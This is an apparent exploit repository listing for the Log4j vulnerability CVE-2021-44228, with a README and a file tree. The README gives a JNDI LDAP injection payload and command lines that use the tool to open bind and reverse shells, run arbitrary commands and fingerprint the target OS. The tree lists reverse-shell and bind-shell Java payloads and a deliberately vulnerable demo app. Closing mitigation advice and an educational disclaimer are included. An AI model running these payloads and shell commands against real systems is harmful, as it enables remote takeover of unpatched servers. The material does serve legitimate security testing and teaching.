CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source

Associated Vulnerability

Readme

# CVE-2021-44228 PoC

PoC for CVE-2021-44228. 

Project made for EDUCATIONAL PURPOSES ONLY.

## Exploit server

This project creates two servers: http and ldap. Both are necessary for exploit to work. Specified java file is compiled and servers are started in Dockerfile. Payload is shown to user - it has to be passed to vulnerable application.

Example payload:

```
${jndi:ldap//127.0.0.1:1389/a}
```

### How to run?

- Bind shell

```console
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind --remote-port 4445
```

- Reverse shell

```console
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e reverse --listener-port 4444
```

- RCE

```console
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e rce --cmd 'ls | tee log.txt'
```

- Time based vulnerability detection

> It sleeps program for 25 seconds

```console
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e vulndetect
```

- OS detection

```console
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e osdetect --listener-port 4444
```

OS detection may return 4 letters:
- `L` for Linux
- `W` for Windows
- `M` for MacOS
- `U` for unknown

## Bypass

Bypass technique was published. Example [here](https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words)

## Vulnerable application

App was designed to show how it works. To build and run jar with an app use:

```console
./build_vuln_app.sh
java -jar vulnapp/target/vulnapp.jar 'PAYLOAD'
```

where `PAYLOAD` is returned from `./poc.sh` script (e.g. `${jndi:ldap://127.0.0.1:1389/1}`).


## Credits

Some credits for projects and websites that were used during creation of this exploit:
- https://github.com/shanfenglan/apache_log4j_poc
- https://github.com/ivan-sincek/java-reverse-tcp
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://github.com/RandomRobbieBF/marshalsec-jar

## How to secure yourself?

Start app using log4j with `log4j2.formatMsgNoLookups` set to `true`, or update to `log4j-2.15.0-rc1` or later. Updates are there in the wild - implement them as soon as possible.

## Disclaimer

This project can only be used for educational purposes. Using this software against target systems without prior permission is illegal, and any damages from misuse of this software will not be the responsibility of the author.

File Snapshot

 [4.0K]  /data/pocs/e71507de4234b6de3feaadbb45a3ce25f0570c1f
├── [ 496]  build_vuln_app.sh
├── [6.8K]  poc.sh
├── [2.2K]  README.md
├── [4.0K]  server
│   ├── [ 444]  Dockerfile
│   ├── [ 500]  entrypoint.sh
│   ├── [ 41M]  marshalsec-0.0.3.jar
│   └── [4.0K]  scripts
│       ├── [6.5K]  BindShell.java
│       ├── [1.8K]  Execute.java
│       ├── [2.6K]  OSDetect.java
│       ├── [6.4K]  ReverseShell.java
│       └── [ 341]  TimeBasedVulnDetect.java
├── [4.0K]  vulnapp-simple
│   ├── [  82]  Dockerfile-build
│   ├── [1.7K]  pom.xml
│   ├── [4.0K]  src
│   │   └── [4.0K]  main
│   │       └── [4.0K]  java
│   │           └── [4.0K]  com
│   │               └── [4.0K]  example
│   │                   └── [ 866]  Main.java
│   └── [4.0K]  target
│       └── [1.9M]  vulnapp.jar
└── [4.0K]  vulnapp-webserver
    ├── [  82]  Dockerfile-build
    ├── [1.7K]  pom.xml
    ├── [4.0K]  src
    │   └── [4.0K]  main
    │       └── [4.0K]  java
    │           └── [4.0K]  com
    │               └── [4.0K]  example
    │                   └── [3.3K]  Main.java
    └── [4.0K]  target

16 directories, 18 files

Remarks